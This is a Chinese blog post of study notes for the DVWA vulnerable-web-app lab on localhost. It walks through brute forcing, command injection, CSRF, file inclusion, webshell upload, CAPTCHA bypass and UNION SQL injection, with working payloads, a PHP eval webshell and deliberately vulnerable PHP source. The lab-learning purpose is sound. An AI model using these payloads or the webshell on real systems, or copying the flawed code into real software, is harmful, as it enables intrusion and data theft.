DVWA學習筆記


原來裝的DVWA沒有認認真真地做一遍,靶場環境也有點問題了,到github上面重新下載了一遍:https://github.com/ethicalhack3r/DVWA

復習常見的高危漏洞,產生,利用,防范的方法

DVWA靶場在本地的搭建不再贅述,網上有很多優秀的博客

 

將級別設置為Low 

第一個模塊是Brute Force,暴力破解模塊

 

 

當輸入錯誤的賬號密碼時,頁面會返回錯誤信息

 

 當輸入正確的賬號密碼時,頁面會返回正確信息

 

 使用burpsuite抓包之后暴力破解賬號密碼

因為我們不知道賬號和密碼,所以使用burpsuite->intruder->Cluster bomb選項,對賬號密碼兩個參數進行爆破

但是這樣的做法不足之處在於,所有的嘗試次數=字典用戶名數量X字典密碼數量,用戶名和密碼的數量稍微大一點,運行次數就會非常大,所以在真實環境中,我們盡量手動先對用戶名進行測試,查看頁面的報錯信息,有很多網站都會顯示是用戶名錯誤,還是密碼錯誤,以此來判斷用戶名是否存在,再對存在的用戶名專門進行密碼爆破,減少了很多不必要的工作量

 

 使用burpsuite自帶的用戶名和密碼字典,其組合數量都達到了三千多萬,所以在真實環境中盡量不要采用用戶名和密碼同時爆破的方法。

這里為了快速看到結果,我改為了爆破賬號為admin的密碼

 

 根據返回包的不同相應判斷密碼是否正確,這里可以看到當密碼為password的時候返回包長度為4755,可知密碼就是password

Request id為0的那個是我第一次登陸的時候,直接設置密碼為password,所以也成功登錄。

 

查看Low級別的Brute Force的源代碼

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

  可以看到將我們GET輸入的賬號和md5加密后的密碼放入了SQL查詢語句進行查詢,除此之外沒有對登錄點進行任何防御,還有這一句

$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

  可以看到這一句是存在SQL注入漏洞的,我們也可以使用萬能密碼在登錄點進行登錄,如構造:

 

 

 密碼構造如 admin' or '1'='1#,密碼隨便輸入,即可繞過密碼進行登錄

 

第二個模塊是Command Injection,命令注入

 

 這種題目在CTF比賽中遇到過,這里是我們先輸入一個ip地址,服務器會為我們ping這個IP地址

 先復習一下命令注入的基礎知識

​ 命令注入攻擊最初被稱為Shell命令注入攻擊,是由挪威一名程序員在1997年意外發現的。第一個命令注入攻擊程序能隨意地從一個網站刪除網頁,就像從磁盤或者硬盤移除文件一樣簡單。 ——百度百科
命令注入通過提交惡意構造的參數破壞命令語句結構,從而達到執行惡意命令的目的。PHP命令注入攻擊漏洞是PHP應用程序中常見的腳本漏洞之一,國內著名的Web應用程序Discuz!DedeCMS等都曾經存在過該類型漏洞  

  在命令注入中有很多的特殊符號可以進行利用,達到繞過黑名單和執行任意命令的效果。

管道符 | :連結上個指令的標准輸出,做為下個指令的標准輸入。

后台工作&: 當要把命令放在后台執行時,在命令的后面加上&,注意是放在完整指令列的最后端,如linux下使用tar進行文件壓縮的時候,可能用時會比較長,我們就可以將其放入后台執行:

tar cvfz data.tar.gz data > /dev/null&

邏輯符號&& : 表示and的邏輯符號,當前一個命令執行成功之后,就執行&&后的一條命令

邏輯符號 || : 表示 or 的邏輯符號,當前一個命令執行失敗之后,才執行||后的一條命令

在linux和windows下都可以使用&&符號進行命令的連續執行

在這里我們服務器是windows的,所以輸入 

127.0.0.1 && dir

  

 

 可以看到不僅執行了ping 127.0.0.1的命令,還顯示了當前文件夾下的文件,實現了命令注入

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

  查看命令注入 low級別的后端PHP代碼

 

 在使用php_uname('s')函數判斷了我們的操作系統之后,使用shell_exec函數執行ping 我們輸入ip地址的命令,我們輸入了惡意數據之后,執行的命令變為了

ping 127.0.0.1 && dir

  從而達到了命令注入的效果。

 

第三個模塊是Cross Site Request Forgery (CSRF)

CSRF即跨站請求偽造,也就是可以劫持其他用戶去進行一些請求,其危害的嚴重性由當前這個請求是什么操作來決定

 

 

 可以看到這里是一個修改密碼的頁面,需要我們輸入新密碼

我們將密碼修改為password試試,可以看到url變化成為了:

http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

  如果用戶的登錄信息還沒有過期,點擊這個鏈接之后,就會將密碼修改為password,攻擊者並不能通過CSRF攻擊來直接獲取用戶的賬戶控制權,也不能直接竊取用戶的任何信息。他們能做到的,是欺騙用戶的瀏覽器,讓其以用戶的名義運行操作

將管理員的密碼重置為admin

http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#

  CSRF漏洞主要是用於越權操作,所有的漏洞出現在有權限控制的地方,比如說,管理后台,刪除文件之類的,有空的時候可以審計一下CMS,看能不能挖掘一些CSRF的CVE

看一下CSRF low級別的后端代碼:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

  檢測兩次輸入的密碼是否相同,然后將密碼md5加密之后覆蓋數據庫里面原來的密碼值

在Burpsuite中有一個用於實現檢測CSRF漏洞的功能,在對Request包右鍵>Engagement tools>Generate CSRF PoC,其會自動生成一個HTML文件,我們也可以使用burpsuite來利用此漏洞

 

 

 

 

第四個模塊是文件包含漏洞 File Inclusion

 

 

 如果有紅色的提示,需要在php.ini配置文件中將allow_url_include開啟為On,然后重啟phpstudy

 

 

重啟之后可以看到紅色的警告消失了

文件包含漏洞分為了本地文件包含和遠程文件包含,遠程文件包含就需要設置allow_url_include=On, 因為服務器開啟allow_url_include是一種危險行為,所以現在默認都是未開啟的。

相對於本地文件包含,遠程文件包含更容易被利用,我們先測試本地文件包含。

點擊file1.php文件,可以看到url的變化為:

?page=file1.php

  點擊file2.php,url變換為:

?page=file2.php

  所以很容易想到修改文件名,查看同目錄文件夾下不能訪問的文件

 

 

 這里有file4.php,我們修改url為

?page=file4.php

  可以看到頁面變為了

 

 :-),這正是DVWA的作者想讓我們做的,當然,如果存在目錄遍歷漏洞的話,我們還可以訪問網站上的任意文件

在fi文件夾的上一級目錄中創建hi.txt文件

 

 構造:

?page=../hi.txt

  

 

 可以看到目錄跳轉之后顯示了hi.txt文件夾的信息

 接下來我們嘗試遠程文件包含漏洞

 

在本地創建2.php文件

 

構造payload為:

?page=http://127.0.0.1/2.php

  

 

 訪問執行了phpinfo(),當然也可以直接遠程包含一句話木馬。

 

看一下漏洞的源代碼為:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

  可以看到對於輸入的page文件沒有進行任何過濾,成為變量file的值,文件包含后的顯示在代碼里並沒有顯示出來。

File Upload

 

 文件上傳漏洞,很常見也是能迅速拿到服務器shell的一個漏洞。

常見的連接一句話木馬的工具有:中國菜刀,蟻劍,冰蠍。

我們這里還是使用中國菜刀,上傳PHP一句話木馬chopper.php

<?php @eval($_POST['chopper']);?>

  

上傳后友好地返回了上傳路徑

 

 菜刀連接之

 

 可以看到已經連接成功。

查看文件上傳漏洞的源代碼:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

  首先獲取到文件上傳的位置,使用move_uploaded_file() 函數將上傳的文件移動到新位置即我們剛才獲取到的文件上傳位置。

這里並沒有對上傳的文件是否為木馬進行檢查,上傳成功后返回上傳路徑以及提示信息。

 

Insecure CAPTCHA

不安全的驗證碼,做這個題目之前需要先配置config.ini.php里面的key值,先去谷歌網站上申請key值https://www.google.com/recaptcha/admin,操作很簡單,這里就不再贅述。

配置后是這樣的

 

 

 

 這里是一個修改密碼的操作,火狐瀏覽器抓包出了點問題,直接分析源代碼

<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key'],
        $_POST['g-recaptcha-response']
    );

    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
        if( $pass_new == $pass_conf ) {
            // Show next stage for the user
            echo "
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                <form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
                </form>";
        }
        else {
            // Both new passwords do not match.
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }
    }
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if both password match
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the end user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with the passwords matching
        echo "<pre>Passwords did not match.</pre>";
        $hide_form = false;
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

  雖然看上去操作很多,實際上就分為了兩步,可以看出來,兩個if進入的條件是通過是否點擊change和step的數值來決定的,而step數值是我們在抓包的過程中可以進行修改的。

第一個if是檢測驗證碼是否輸入正確,輸入正確后進入第二個if,進而修改密碼。這里的驗證碼就是為了防止CSRF點擊后直接修改密碼,添加了輸入驗證碼的判斷。

但是不難看出,雖然谷歌的驗證碼沒有問題,但是DVWA服務器后端對於驗證碼正確與否的判斷是由一個用戶可以修改的量step來決定的,進而我們可以令step=2,從而構建CSRF攻擊。

 

SQL Injection

sql注入漏洞,危害最大的漏洞之一,實際的漏洞挖掘中也經常遇到,但是因為防火牆和安全狗的原因,即便學習了SQL注入,我們還需要知道怎么繞過過濾,進一步進行SQL注入攻擊。同時直接將結果直接回顯在頁面上的注入也越來越少了,更多的時候我們需要用到盲注來獲取數據。

 

 輸入ID查看頁面的回顯。

url為:

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=5&Submit=Submit#

 在id后添加單引號報錯

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1%27&Submit=Submit#

  

 

 注釋掉id后的引號頁面正常

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1%27--+&Submit=Submit#

  

 可以猜測后端的id變量為: '$id' 形式

查看源代碼關鍵處如下:

SELECT first_name, last_name FROM users WHERE user_id = '$id';

  使用order by 判斷字段數為2

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1%27%20order%20by%202--+&Submit=Submit#

  回顯位置判斷:

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1%27%20and%201=2%20union%20select%201,2--+&Submit=Submit#

  

 

 回顯位置為1,2

簡單測試一下,查看當前用戶和數據庫名稱

http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1%27%20and%201=2%20union%20select%20user(),database()--+&Submit=Submit#

  

 

 可以看到已經顯示了數據庫的名稱和用戶

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM